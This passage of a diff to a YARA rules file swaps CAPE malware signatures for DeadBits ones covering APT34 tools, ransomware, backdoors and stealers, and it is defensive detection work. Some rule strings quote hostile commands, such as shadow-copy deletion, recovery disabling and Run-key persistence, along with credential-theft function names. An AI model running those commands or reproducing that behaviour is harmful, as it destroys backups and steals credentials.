+		$str19 = "OSVer" ascii fullword
+		$str20 = "InstallDate" ascii fullword
+		$str21 = "LastLoadCommandID" ascii fullword
+		$str22 = "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36" ascii fullword
+		$str25 = "#########################Program starting up#########################" ascii fullword
+		$str26 = "Stop poison" ascii fullword
+		$str27 = "Shell:" ascii fullword
+		$str28 = "shell" ascii fullword
+		$str29 = "Select http redirect domain:" ascii fullword
+		$str30 = "HTTP redirect add file extension:" ascii fullword
+		$str32 = "exIp" ascii fullword
+		$str33 = "Start Poison" ascii fullword
+		$str34 = "vicIP" ascii fullword
+		$str35 = "Insert JSTag" ascii fullword
+		$str36 = "devIp" ascii fullword
+		$str37 = "TransmitTcp" ascii fullword
+		$str38 = "Remove poison IP: %s" ascii fullword
+		$str39 = "Remove my ip or gateway ip: %s" ascii fullword
+		$cnc0 = "/cl_client_online.php" ascii fullword
+		$cnc1 = "/cl_client_cmd.php" ascii fullword
+		$cnc2 = "/cl_client_cmd_res.php" ascii fullword
+		$cnc3 = "/cl_client_file_download.php" ascii fullword
+		$cnc4 = "/ad_file_download.php" ascii fullword
+		$cnc5 = "/cl_client_file_upload.php" ascii fullword
+		$cnc6 = "/cl_client_logs.php" ascii fullword
+
+	condition:
+		( uint16(0)==0x5a4d) and ((10 of ($str*) and 3 of ($cnc*)) or (3 of ($cnc*) and $pdb0))
+}
+rule DEADBITS_APT34_LONGWATCH : APT34 WINMALWARE KEYLOGGER FILE
+{
+	meta:
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam Swanda"
+		id = "74a6a408-2f0e-567d-8968-c304d258df81"
+		date = "2019-07-22"
+		modified = "2019-07-22"
+		reference = "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/APT34_LONGWATCH.yara#L1-L43"
+		license_url = "N/A"
+		logic_hash = "8f9ed228325800baea3a2874c71337709c04d93419d4d56821a791dbce6f4582"
+		score = 75
+		quality = 78
+		tags = "APT34, WINMALWARE, KEYLOGGER, FILE"
+		Description = "APT34 Keylogger"
+
+	strings:
+		$log = "c:\\windows\\temp\\log.txt" ascii fullword
+		$clipboard = "---------------CLIPBOARD------------" ascii fullword
+		$func0 = "\"Main Invoked.\"" ascii fullword
+		$func1 = "\"Main Returned.\"" ascii fullword
+		$logger3 = ">---------------------------------------------------" ascii fullword
+		$logger4 = "[ENTER]" ascii fullword
+		$logger5 = "[CapsLock]" ascii fullword
+		$logger6 = "[CRTL]" ascii fullword
+		$logger7 = "[PAGE_UP]" ascii fullword
+		$logger8 = "[PAGE_DOWN]" ascii fullword
+		$logger9 = "[HOME]" ascii fullword
+		$logger10 = "[LEFT]" ascii fullword
+		$logger11 = "[RIGHT]" ascii fullword
+		$logger12 = "[DOWN]" ascii fullword
+		$logger13 = "[PRINT]" ascii fullword
+		$logger14 = "[PRINT SCREEN]" ascii fullword
+		$logger15 = "[INSERT]" ascii fullword
+		$logger16 = "[SLEEP]" ascii fullword
+		$logger17 = "[PAUSE]" ascii fullword
+		$logger18 = "[TAB]" ascii fullword
+		$logger19 = "[ESC]" ascii fullword
+		$logger20 = "[DEL]" ascii fullword
+		$logger21 = "[ALT]" ascii fullword
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($SMB*)) and $ipc and ( any of ($session*)) and ( any of ($pipe*))
+		uint16(0)==0x5a4d and $log and all of ($func*) and all of ($logger*) and $clipboard
 }
-import "pe"
-
-rule CAPE_Nighthawk
+rule DEADBITS_APT34_VALUEVAULT : APT34 INFOSTEALER WINMALWARE FILE
 {
 	meta:
-		description = "NightHawk C2"
-		author = "Nikhil Ashok Hegde <@ka1do9>"
-		id = "096b9d13-6aa7-5b6e-aaeb-e25aa7c8c53f"
-		date = "2022-12-05"
-		modified = "2022-12-05"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Nighthawk.yar#L3-L24"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "2d77912678e06503ffef0e8ed84aa4f9ac74357480d57742fbae619acebfb5f2"
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam Swanda"
+		id = "11d08fe7-9080-5393-b566-6f01e3eec18b"
+		date = "2020-02-02"
+		modified = "2020-02-02"
+		reference = "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/APT34_VALUEVAULT.yara#L1-L63"
+		license_url = "N/A"
+		logic_hash = "311eed153920b29b8d9e99651fe62259d685140d12bb073001e0576811a01198"
 		score = 75
-		quality = 70
-		tags = ""
-		cape_type = "Nighthawk Payload"
+		quality = 78
+		tags = "APT34, INFOSTEALER, WINMALWARE, FILE"
+		Description = "Information stealing malware used by APT34, written in Go."
 
 	strings:
-		$keying_methods = { 85 C9 74 43 83 E9 01 74 1C 83 F9 01 0F 85 }
-		$aes_sbox = { 63 7C 77 7B F2 6B 6F C5 30 }
-		$aes_inv_sbox = { 52 09 6A D5 30 36 A5 38 BF }
+		$fsociety = "fsociety.dat" ascii
+		$powershell = "New-Object -ComObject Shell.Application" ascii
+		$gobuild = "Go build ID: " ascii
+		$gopath01 = "browsers-password-cracker" ascii nocase
+		$gopath02 = "main.go" ascii nocase
+		$gopath03 = "mozilla.go" ascii nocase
+		$gopath04 = "ie.go" ascii nocase
+		$str1 = "main.Decrypt" ascii fullword
+		$str3 = "main.NewBlob" ascii fullword
+		$str4 = "main.CheckFileExist" ascii fullword
+		$str5 = "main.CopyFileToDirectory" ascii fullword
+		$str6 = "main.CrackChromeBased" ascii fullword
+		$str7 = "main.CrackIE" ascii fullword
+		$str8 = "main.decipherPassword" ascii fullword
+		$str9 = "main.DecodeUTF16" ascii fullword
+		$str10 = "main.getHashTable" ascii fullword
+		$str11 = "main.getHistory" ascii fullword
+		$str12 = "main.getHistoryWithPowerShell" ascii fullword
+		$str13 = "main.getHistoryFromRegistery" ascii fullword
+		$str14 = "main.main" ascii fullword
+		$str15 = "main.DecryptAESFromBase64" ascii fullword
+		$str16 = "main.DecryptAES" ascii fullword
+		$str17 = "main.CrackMozila" ascii fullword
+		$str18 = "main.decodeLoginData" ascii fullword
+		$str19 = "main.decrypt" ascii fullword
+		$str20 = "main.removePadding" ascii fullword
+		$str21 = "main.getLoginData" ascii fullword
+		$str22 = "main.isMasterPasswordCorrect" ascii fullword
+		$str23 = "main.decrypt3DES" ascii fullword
+		$str24 = "main.getKey" ascii fullword
+		$str25 = "main.manageMasterPassword" ascii fullword
+		$str26 = "main.getFirefoxProfiles" ascii fullword
+		$str27 = "main._Cfunc_DumpVault" ascii fullword
+		$str28 = "main.CrackIEandEdgeNew" ascii fullword
+		$str29 = "main.init.ializers" ascii fullword
+		$str30 = "main.init" ascii fullword
 
 	condition:
-		pe.is_pe and for any s in pe.sections : (s.name==".profile") and all of them
+		uint16(0)==0x5a4d and ((10 of ($str*) and 3 of ($gopath*)) or ($fsociety and $powershell and $gobuild) or ($fsociety and 10 of ($str*)))
 }
-rule CAPE_Lumma : FILE
+rule DEADBITS_Acbackdoor_ELF : LINUX MALWARE BACKDOOR
 {
 	meta:
-		description = "Lumma Payload"
-		author = "kevoreilly"
-		id = "334807ca-8548-5219-8614-7c922368e276"
-		date = "2024-03-13"
-		modified = "2024-03-13"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Lumma.yar#L1-L14"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "5b172496e2488cc3e9cdbd5a08229c3691bafba2fcdbdfd2805c7ac58f9c5751"
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam M. Swanda"
+		id = "82eb41bf-cd1d-5b00-973b-31a79c75cfc0"
+		date = "2019-11-01"
+		modified = "2019-12-04"
+		reference = "https://www.intezer.com/blog-acbackdoor-analysis-of-a-new-multiplatform-backdoor/"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/ACBackdoor_Linux.yara#L1-L41"
+		license_url = "N/A"
+		logic_hash = "48d741fba86cdfc8aac779d4b3227d45a17e0e9fba74b19820f1b8308bb93322"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Lumma Payload"
-		packed = "0ee580f0127b821f4f1e7c032cf76475df9724a9fade2e153a69849f652045f8"
+		quality = 55
+		tags = "LINUX, MALWARE, BACKDOOR"
 
 	strings:
-		$c2 = {8D 44 24 ?? 50 89 4C 24 ?? FF 31 E8 [4] 83 C4 08 B8 FF FF FF FF}
-		$peb = {8B 44 24 04 85 C0 74 13 64 8B 0D 30 00 00 00 50 6A 00 FF 71 18 FF 15}
-		$remap = {C6 44 24 20 00 C7 44 24 1C C2 00 00 90 C7 44 24 18 00 00 FF D2 C7 44 24 14 00 BA 00 00 C7 44 24 10 B8 00 00 00 8B ?? 89 44 24 11}
+		$ua_str = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)" ascii fullword
+		$header1 = "Access-Control:" ascii fullword
+		$header2 = "X-Access" ascii
+		$initd = "/etc/init.d/update-notifier" ascii fullword
+		$str001 = "#!/bin/sh -e" ascii fullword
+		$str002 = "### BEGIN INIT INFO" ascii fullword
+		$str003 = "# Provides:          update-notifier" ascii fullword
+		$str004 = "# Required-Start:    $local_fs" ascii fullword
+		$str005 = "# Required-Stop:" ascii fullword
+		$str006 = "# Default-Start:     S" ascii fullword
+		$str007 = "# Default-Stop:" ascii fullword
+		$str008 = "### END INIT INFO" ascii fullword
+		$str010 = "  *) echo \"Usage: $0 {start|stop|restart|force-reload}\" >&2; ;;" ascii fullword
+		$str011 = "esac" ascii fullword
+		$str012 = "[ -x /usr/local/bin/update-notifier ] \\" ascii fullword
+		$str013 = "    && exec /usr/local/bin/update-notifier" ascii fullword
+		$rcd01 = "/etc/rc2.d/S01update-notifier" ascii fullword
+		$rcd02 = "/etc/rc3.d/S01update-notifier" ascii fullword
+		$rcd03 = "/etc/rc5.d/S01update-notifier" ascii fullword
 
 	condition:
-		uint16(0)==0x5a4d and any of them
+		( uint32be(0x0)==0x7f454c46) and (($ua_str and all of ($header*) and $initd and all of ($rcd*)) or ($ua_str and all of ($header*) and 10 of ($str*)))
 }
-rule CAPE_Zerot : FILE
+rule DEADBITS_Dacls_Trojan_Windows : FILE
 {
 	meta:
-		description = "ZeroT Payload"
-		author = "kevoreilly"
-		id = "dc5dc18c-2ec6-541d-905c-42543f17b16d"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/ZeroT.yar#L1-L15"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "f60ae25ac3cd741b8bdc5100b5d3c474b5d9fbe8be88bfd184994bae106c3803"
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam Swanda"
+		id = "424b2c0d-2373-5a72-9a97-52b4bfc5cdcf"
+		date = "2020-01-07"
+		modified = "2020-01-07"
+		reference = "https://github.com/deadbits/yara-rules"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/Dacls_Windows.yara#L1-L30"
+		license_url = "N/A"
+		logic_hash = "b77df7e3be9c264d6a63d40dbf49c41e9dd55b4e570c063b5710b849c36cc166"
 		score = 75
-		quality = 68
+		quality = 80
 		tags = "FILE"
-		cape_type = "ZeroT Payload"
+		Author = "Adam M. Swanda"
 
 	strings:
-		$decrypt = {8B C1 8D B5 FC FE FF FF 33 D2 03 F1 F7 75 10 88 0C 33 41 8A 04 3A 88 06 81 F9 00 01 00 00 7C E0}
-		$string1 = "(*^GF(9042&*"
-		$string2 = "s2-18rg1-41g3j_.;"
-		$string3 = "GET" wide
-		$string4 = "open"
+		$fext00 = ".exe" ascii wide
+		$fext01 = ".cmd" ascii wide
+		$fext02 = ".bat" ascii wide
+		$fext03 = ".com" ascii wide
+		$str00 = "Software\\mthjk" ascii wide
+		$str01 = "WindowsNT.dll" ascii fullword
+		$str02 = "GET %s HTTP/1.1" ascii fullword
+		$str03 = "content-length:" ascii fullword
+		$str04 = "Connection: keep-alive" ascii fullword
+		$cls00 = "c_2910.cls" ascii fullword
+		$cls01 = "k_3872.cls" ascii fullword
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		( uint16(0)==0x5a4d) and (( all of ($cls*)) or ( all of ($fext*) and all of ($str*)))
 }
-rule CAPE_Agent_Tesla
+rule DEADBITS_Silenttrinity_Delivery_Document : FILE
 {
 	meta:
-		description = "Detecting HTML strings used by Agent Tesla malware"
-		author = "Stormshield"
-		id = "5383994b-357d-539b-89b1-53be238f759d"
-		date = "2024-03-22"
-		modified = "2024-03-22"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/AgentTesla.yar#L1-L17"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "3945754129dcc58e0abfd7485f5ff0c0afdd1078ae2cf164ca8f59a6f79db1be"
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam Swanda"
+		id = "be8cf8b7-d7f8-587d-b7bd-ad10796cda7c"
+		date = "2019-07-19"
+		modified = "2019-07-19"
+		reference = "https://countercept.com/blog/hunting-for-silenttrinity/"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/SilentTrinity_Delivery.yara#L1-L30"
+		license_url = "N/A"
+		logic_hash = "1efaa317dd250fa127b134ff8e6e6ac48d1056059256f790925d2315a6865033"
 		score = 75
-		quality = 70
-		tags = ""
-		version = "1.0"
+		quality = 80
+		tags = "FILE"
+		Description = "Attempts to detect SilentTrinity delivery documents"
+		Author = "Adam M. Swanda"
 
 	strings:
-		$html_username = "<br>UserName&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: " wide ascii
-		$html_pc_name = "<br>PC&nbsp;Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: " wide ascii
-		$html_os_name = "<br>OS&nbsp;Full&nbsp;Name&nbsp;&nbsp;: " wide ascii
-		$html_os_platform = "<br>OS&nbsp;Platform&nbsp;&nbsp;&nbsp;: " wide ascii
-		$html_clipboard = "<br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>" wide ascii
+		$s0 = "VBE7.DLL" fullword ascii
+		$s1 = "TargetPivotTable" fullword ascii
+		$s2 = "DocumentUserPassword" fullword wide
+		$s3 = "DocumentOwnerPassword" fullword wide
+		$s4 = "Scripting.FileSystemObject" fullword wide
+		$s5 = "MSXML2.ServerXMLHTTP" fullword wide
+		$s6 = "Win32_ProcessStartup " fullword ascii
+		$s7 = "Step 3: Start looping through all worksheets" fullword ascii
+		$s8 = "Step 2: Start looping through all worksheets" fullword ascii
+		$s9 = "Stringer" fullword wide
+		$s10 = "-decode -f" fullword wide
+		$s11 = "2. Da biste pogledali dokument, molimo kliknite \"OMOGU" fullword wide
 
 	condition:
-		3 of them
+		uint16(0)==0xcfd0 and filesize <200KB and (8 of ($s*) or all of them )
 }
-rule CAPE_Agenttesla : FILE
+rule DEADBITS_Dacls_Trojan_Linux
 {
 	meta:
-		description = "AgentTesla Payload"
-		author = "kevoreilly"
-		id = "f7b930f1-cecb-5d80-809b-9503f282247a"
-		date = "2024-03-22"
-		modified = "2024-03-22"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/AgentTesla.yar#L19-L41"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "1bf9b26c4cf87e674ddffabe40aba5a45499c6a04d4ff3e43c3cda4cbcb4d188"
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam Swanda"
+		id = "bb83ba2b-70a3-5a0f-9588-d93b7f07f67f"
+		date = "2020-01-07"
+		modified = "2020-01-07"
+		reference = "https://github.com/deadbits/yara-rules"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/Dacls_Linux.yara#L1-L32"
+		license_url = "N/A"
+		logic_hash = "752d7daf9178e4fa20f2ce781c6ff70f83758f01479696f0808e1588da9a3d78"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "AgentTesla Payload"
+		quality = 80
+		tags = ""
+		Author = "Adam M. Swanda"
 
 	strings:
-		$string1 = "smtp" wide
-		$string2 = "appdata" wide
-		$string3 = "76487-337-8429955-22614" wide
-		$string4 = "yyyy-MM-dd HH:mm:ss" wide
-		$string6 = "webpanel" wide
-		$string7 = "<br>UserName&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:" wide
-		$string8 = "<br>IP Address&nbsp;&nbsp;:" wide
-		$agt1 = "IELibrary.dll" ascii
-		$agt2 = "C:\\Users\\Admin\\Desktop\\IELibrary\\IELibrary\\obj\\Debug\\IELibrary.pdb" ascii
-		$agt3 = "GetSavedPasswords" ascii
-		$agt4 = "GetSavedCookies" ascii
+		$cls00 = "c_2910.cls" ascii fullword
+		$cls01 = "k_3872.cls" ascii fullword
+		$str00 = "{\"result\":\"ok\"}" ascii fullword
+		$str01 = "SCAN  %s  %d.%d.%d.%d %d" ascii fullword
+		$str02 = "/var/run/init.pid" ascii fullword
+		$str03 = "/flash/bin/mountd" ascii fullword
+		$str04 = "Name:" ascii fullword
+		$str05 = "Uid:" ascii fullword
+		$str06 = "Gid:" ascii fullword
+		$str08 = "PPid:" ascii fullword
+		$str09 = "session_id" ascii fullword
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($string*) or 3 of ($agt*))
+		uint32be(0x0)==0x7f454c46 and (( all of ($cls*)) or ( all of ($str*)))
 }
-rule CAPE_Agentteslav2 : FILE
+rule DEADBITS_Jsworm : MALWARE FILE
 {
 	meta:
-		description = "AgenetTesla Type 2 Keylogger payload"
-		author = "ditekshen"
-		id = "e60ecee4-0a97-56a1-b21e-47190f8cd1f8"
-		date = "2024-03-22"
-		modified = "2024-03-22"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/AgentTesla.yar#L43-L67"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "b45296b3b94fa1ff32de48c94329a17402461fb6696e9390565c4dba9738ed78"
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam Swanda"
+		id = "6d452d04-b475-5241-890c-68119a7a8691"
+		date = "2019-09-06"
+		modified = "2019-09-06"
+		reference = "https://github.com/deadbits/yara-rules/"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/JSWorm.yara#L1-L38"
+		license_url = "N/A"
+		logic_hash = "99074e25ec15c5b25fa41bef19203f5ddc227acd51fadca1e2c3ece538b3da01"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "AgentTesla Payload"
+		quality = 78
+		tags = "MALWARE, FILE"
 
 	strings:
-		$s1 = "get_kbHook" ascii
-		$s2 = "GetPrivateProfileString" ascii
-		$s3 = "get_OSFullName" ascii
-		$s4 = "get_PasswordHash" ascii
-		$s5 = "remove_Key" ascii
-		$s6 = "FtpWebRequest" ascii
-		$s7 = "logins" fullword wide
-		$s8 = "keylog" fullword wide
-		$s9 = "1.85 (Hash, version 2, native byte-order)" wide
-		$cl1 = "Postbox" fullword ascii
-		$cl2 = "BlackHawk" fullword ascii
-		$cl3 = "WaterFox" fullword ascii
-		$cl4 = "CyberFox" fullword ascii
-		$cl5 = "IceDragon" fullword ascii
-		$cl6 = "Thunderbird" fullword ascii
+		$name00 = "JSWORM" nocase
+		$str00 = "DECRYPT.txt" nocase
+		$str02 = "cmd.exe"
+		$str03 = "/c reg add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"zapiska\" /d \"C:\\ProgramData\\"
+		$str04 = /\/c taskkill.exe taskkill \/f \/im (store|sqlserver|dns|sqlwriter)\.exe/
+		$str05 = "/c start C:\\ProgramData\\"
+		$str06 = "/c vssadmin.exe delete shadows /all /quiet"
+		$str07 = "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures -y"
+		$str08 = "/c bcdedit /set {default} recoveryenabled No -y"
+		$str09 = "/c wbadmin delete catalog -quiet"
+		$str10 = "/c wmic shadowcopy delete -y"
+		$uniq00 = "fuckav"
+		$uniq01 = "DECRYPT.hta" nocase
+		$uniq02 = "Backup e-mail for contact :"
+		$uniq03 = "<HTA:APPLICATION APPLICATIONNAME=" nocase
 
 	condition:
-		( uint16(0)==0x5a4d and 6 of ($s*)) or (6 of ($s*) and 2 of ($cl*))
+		uint16(0)==0x5a4d and (($name00 and 5 of ($str*)) or (5 of ($str*) and 2 of ($uniq*)) or ($name00 and any of ($uniq*)))
 }
-rule CAPE_Agentteslav3 : FILE
+rule DEADBITS_Dnspionage : APT DNSCHANGER FILE
 {
 	meta:
-		description = "AgentTeslaV3 infostealer payload"
-		author = "ditekshen"
-		id = "cfe00382-8663-54a4-a7c4-b932ec7ad5e3"
-		date = "2024-03-22"
-		modified = "2024-03-22"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/AgentTesla.yar#L69-L111"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "26c4fa0ce8de6982eb599f3872e8ab2a6e83da4741db7f3500c94e0a8fe5d459"
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam Swanda"
+		id = "9f740645-60dc-5376-94ad-59d8efbf1942"
+		date = "2019-07-18"
+		modified = "2019-07-19"
+		reference = "https://github.com/deadbits/yara-rules"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/DNSpionage.yara#L1-L47"
+		license_url = "N/A"
+		logic_hash = "f20c71d0698d98cc58fa199c708ec7bf5cb0ec62503a20b532e752dab9aab920"
 		score = 75
-		quality = 68
-		tags = "FILE"
-		cape_type = "AgentTesla payload"
+		quality = 78
+		tags = "APT, DNSCHANGER, FILE"
+		Description = "Attempts to detect DNSpionage PE samples"
+		Author = "Adam M. Swanda"
 
 	strings:
-		$s1 = "get_kbok" fullword ascii
-		$s2 = "get_CHoo" fullword ascii
-		$s3 = "set_passwordIsSet" fullword ascii
-		$s4 = "get_enableLog" fullword ascii
-		$s5 = "bot%telegramapi%" wide
-		$s6 = "KillTorProcess" fullword ascii
-		$s7 = "GetMozilla" ascii
-		$s8 = "torbrowser" wide
-		$s9 = "%chatid%" wide
-		$s10 = "logins" fullword wide
-		$s11 = "credential" fullword wide
-		$s12 = "AccountConfiguration+" wide
-		$s13 = "<a.+?href\\s*=\\s*([\"'])(?<href>.+?)\\1[^>]*>" fullword wide
-		$s14 = "set_Lenght" fullword ascii
-		$s15 = "get_Keys" fullword ascii
-		$s16 = "set_AllowAutoRedirect" fullword ascii
-		$s17 = "set_wtqQe" fullword ascii
-		$s18 = "set_UseShellExecute" fullword ascii
-		$s19 = "set_IsBodyHtml" fullword ascii
-		$s20 = "set_FElvMn" fullword ascii
-		$s21 = "set_RedirectStandardOutput" fullword ascii
-		$g1 = "get_Clipboard" fullword ascii
-		$g2 = "get_Keyboard" fullword ascii
-		$g3 = "get_Password" fullword ascii
-		$g4 = "get_CtrlKeyDown" fullword ascii
-		$g5 = "get_ShiftKeyDown" fullword ascii
-		$g6 = "get_AltKeyDown" fullword ascii
-		$m1 = "yyyy-MM-dd hh-mm-ssCookieapplication/zipSCSC_.jpegScreenshotimage/jpeg/log.tmpKLKL_.html<html></html>Logtext/html[]Time" ascii
-		$m2 = "%image/jpg:Zone.Identifier\\tmpG.tmp%urlkey%-f \\Data\\Tor\\torrcp=%PostURL%127.0.0.1POST+%2B" ascii
-		$m3 = ">{CTRL}</font>Windows RDPcredentialpolicyblobrdgchrome{{{0}}}CopyToComputeHashsha512CopySystemDrive\\WScript.ShellRegReadg401" ascii
-		$m4 = "%startupfolder%\\%insfolder%\\%insname%/\\%insfolder%\\Software\\Microsoft\\Windows\\CurrentVersion\\Run%insregname%SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\RunTruehttp" ascii
-		$m5 = "\\WindowsLoad%ftphost%/%ftpuser%%ftppassword%STORLengthWriteCloseGetBytesOpera" ascii
+		$x00 = "/Loginnn?id=" fullword ascii
+		$hdr0 = "Content-Disposition: fo" fullword ascii
+		$hdr1 = "Content-Type: multi" fullword ascii
+		$ua0 = "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36" fullword ascii
+		$ua1 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246" fullword ascii
+		$str0 = "send command result error! status code is: " fullword ascii
+		$str1 = "uploading command result form" fullword ascii
+		$str2 = "log.txt" fullword ascii
+		$str3 = "http host not found in config!" fullword ascii
+		$str4 = "send command result" fullword ascii
+		$str5 = "download error. status code: " fullword ascii
+		$str6 = "get command with dns" fullword ascii
+		$str7 = "dns host not found in config!" fullword ascii
+		$str8 = "command result is: " fullword ascii
+		$str9 = "command result size: " fullword ascii
+		$str10 = "connection type not found in config!" fullword ascii
+		$str11 = "commands: " fullword ascii
+		$str12 = "command is: " fullword ascii
+		$str13 = "port not found in config!" fullword ascii
+		$str14 = "download filename not found! " fullword ascii
+		$str15 = "base64 key not found in config!" fullword ascii
+		$str16 = "download filename is: " fullword ascii
+		$str17 = "config json is not valid" fullword ascii
+		$str18 = "config file will be changed from server!" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and (8 of ($s*) or (6 of ($s*) and 4 of ($g*)))) or (2 of ($m*))
+		uint16(0)==0x5a4d and filesize <1000KB and ((5 of ($str*)) or ($x00 and (1 of ($hdr*)) and 1 of ($ua*)))
 }
-rule CAPE_Agentteslaxor : FILE
+rule DEADBITS_Crescentcore_DMG : INSTALLER MACOSMALWARE FILE
 {
 	meta:
-		description = "AgentTesla xor-based config decoding"
-		author = "kevoreilly"
-		id = "81eeb62f-578f-5c75-bc96-091d5727a20a"
-		date = "2024-03-22"
-		modified = "2024-03-22"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/AgentTesla.yar#L113-L123"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "54581e83e5fa13fae4bda74016b3fa1d18c92e2659f493ebe54d70fd5f77bba5"
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam Swanda"
+		id = "2bd03287-3f10-50b0-9560-4c88644f5b20"
+		date = "2019-07-18"
+		modified = "2019-07-22"
+		reference = "https://github.com/deadbits/yara-rules"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/crescentcore_dmg.yara#L1-L48"
+		license_url = "N/A"
+		logic_hash = "819f01fdacea1e95f0f4d4f8e59ebae97ff9489a1be2c60e33253580a8f9e418"
 		score = 75
-		quality = 20
-		tags = "FILE"
-		cape_type = "AgentTesla Payload"
+		quality = 51
+		tags = "INSTALLER, MACOSMALWARE, FILE"
+		Author = "Adam M. Swanda"
 
 	strings:
-		$decode = {06 91 06 61 20 [4] 61 D2 9C 06 17 58 0A 06 7E [4] 8E 69 FE 04 2D ?? 2A}
+		$header0 = "__PAGEZERO" ascii
+		$header1 = "__TEXT" ascii
+		$path0 = "/Users/mehdi/Desktop/RED MOON/Project/WaningCrescent/WaningCrescent/" ascii
+		$install0 = ".app\" /Applications" ascii fullword
+		$install1 = "open \"/Applications/" ascii fullword
+		$str1 = /Flash_Player\dVirusMp/ ascii
+		$str2 = /Flash_Player\dAntivirus33/ ascii
+		$str3 = /Flash_Player\d{2}Armageddon/ ascii
+		$str4 = /Flash_Player\d{2}Armageddon\w\dapocalypsyy/
+		$str5 = /Flash_Player\d{2}Armageddon\w\ddoomsdayyy/
+		$str6 = /SearchModel\w\dbrowser/
+		$str8 = /SearchModel\w\dcountry/
+		$str9 = /SearchModel\w\dhomepage/
